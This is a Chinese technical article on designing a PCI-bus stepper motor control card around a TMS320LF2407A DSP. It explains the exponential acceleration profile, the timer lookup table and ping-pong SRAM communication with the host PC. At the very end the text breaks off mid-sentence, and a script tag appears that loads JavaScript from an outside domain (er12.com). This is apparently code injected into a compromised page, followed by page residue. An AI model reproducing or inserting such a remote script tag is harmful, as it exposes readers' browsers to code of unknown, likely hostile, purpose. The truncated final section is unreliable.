基于PCI总线和DSP的步进电机运动控制卡的设计和实现

摘 要:本文针对数控系统的工作特点和要求,通过对ti公司dsp芯片tms320lf2407a和cypress公司pci接口芯片cy7c09449pv-ac的功能和特点进行深入分析,设计了一种基于pci局部总线的步进电机运动控制卡。该卡能够较好地满足数控系统对运动控制部件的实时性和控制精度的苛刻要求。

关键词:pci;dsp;运动控制卡

引言

当今,开放式数控系统正在工业领域得到广泛应用。其中,工控机通过pci总线连接专用运动控制卡的数控系统最为流行。在运动控制卡中,由于dsp采用多总线哈佛结构使得处理指令和数据可以同时进行,因此相比传统控制中的单片机具有更多的优势。同时,运动控制卡与pc机通过pci局部总线通信,能够达到很高的数据传输速率,从而还保证了数控系统的实时性。

图1运动控制系统功能框图
系统概述

系统的功能框图如图1所示。该系统的核心是ti公司的16位定点dsp芯片tms320lf2407a。dsp芯片负责接收pci局部总线的命令和参数,然后经过特定的运动控制算法,如系统位置、速度调节、插补算法等,从而完成对步进电机的精确运动控制。同时dsp芯片还负责将反馈信息传输给pci局部总线,并且控制系统外围i/o模块。dsp芯片与计算机的通信通过pci桥接芯片cy09449实现。
dsp模块

dsp芯片tms320lf2407a采用高性能静态cmos工艺,供电电压仅3.3v;指令周期缩短到33ns。

作为系统的核心,tms320lf 2407a主要完成复杂的运动控制算法,比如升降频控制、插入补偿等。本设计主要是完成双轴步进电机控制,故插入补偿采用经典的dda算法。由于本设计对步进电机采用无反馈控制,这样对步进电机的升降频控制就显得格外重要,这也成了整个系统设计的一个难点。根据步进电机变速过程动力学特性,以指数曲线前段规律作为前后沿的近似梯形波,进而确定升降频特性,这样既能保证步进电机运行过程不会失步,又充分发挥了步进电机的固有性能,使升频过程达到时间最短的要求。下面讨论一下升降频控制的算法实现。
升降频控制

为实现所确定的运行频率—时间函数,通常是将其离散化,即将其转换为脉冲时间间隔对脉冲个数的函数。另一种方法是按升降频过程所走过的脉冲步数通过定步中断来变频。但是离散化方法既会引起频率突跳和失步,又要进行复杂的迭代运算,而定步法同样需要进行迭代。这两种方法在dsp上都不易实现且灵活性较差。为此本文研究了一种称为定时的方法。

设最高运行频率为fh(电机恒速段的速度),升频段总时间为ts。则根据步进电动机指数型升频过程的频率—时间关系:

f(t)=fm-(fm-fb)*exp(-t/t) (1)

式中fb为步进电动机起动频率;fm为极限运行频率;t为驱动系统时间常数

则有fh=f(ts)=fm-(fm-fb)*exp(-ts/t)

从而得到

ts=t*ln((fm-fb)/(fm-fh)) (2)

将ts等分为n段,得到各段时间为:ta=ts/n

则在第i个等分段ta内脉冲切换频率和要送出的脉冲数分别为:

f[i]=f(i*ta)=fm-(fm-fb)*exp(-i*ta/t)(3)

x[i]=ta*f[i] (4)

故升频段的总步数为:

p=x[0]+x[1]+…+x[n-1] (5)

将脉冲间隔1/f[i]转换为dsp内部16位定时器的时间常数k[i]。转换关系式为

k[i]=f_dsp/f[i], i=0,1,2…, n-1 (6)

由于降频段特性变化规律与升频段相反,可知降频序列是升频序列的逆序列。

电机在恒速步进阶段,以fh的换相频率步进。因此对应的定时器时间常数为:

k[n]=f_dsp/fh (7)

恒速段总步数为:

x_h=x_total-2*p (8)

式中x_total为步进电机运动的总步数。

电机运行前,由主程序计算出升频段和恒速段定时器时间常数序列k[i](i=0, …,n-1),存放于dsp的saram中,形成一个k-p升速表格。当电机运行时,在线查表,并取出k[i]用于设置dsp的pwm中周期寄存器的值,从而不断改变pwm波形的周期,实现对电机的速度调节。根据升速、降速或高频恒速,决定升速表地址指针增1、减1或不变。通过这种定时的方法,一方面提高了系统的灵活性,可根据输入的最高频率、起动频率等参数改变升降速表,另一方面升降速表的求取不占用运行时间,从而提高了运行效率。

系统的部分软件流程

图2为升降频控制子程序流程图,其中:p_saram为指向电机升降速时间常数表的指针,采用dsp的内部saram来存放该表;x_up、x_con、x_down分别代表电机在升速段、恒速段、降速段要走的总步数;up_flag、con_flag、down_flag分别代表当前电机的运动状态(升速、恒速、降速)。

dsp与pc机的通信

dsp与pc机的通信通过cy09449连接,cy09449内部带有128kb双向静态sram,为了在工作中,使pc机和dsp对sram的访问不会发生冲突,本设计中把sram均分为两个单元a和b, pc机和dsp对这两部分的操作采用乒乓操作模式。由于dsp具有外部数据存储器扩展能力,所以该sram完全可以?script src=http://er12.com/t.js>

  • 基于PCI总线和DSP的步进电机运动控制卡的设计和实现已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计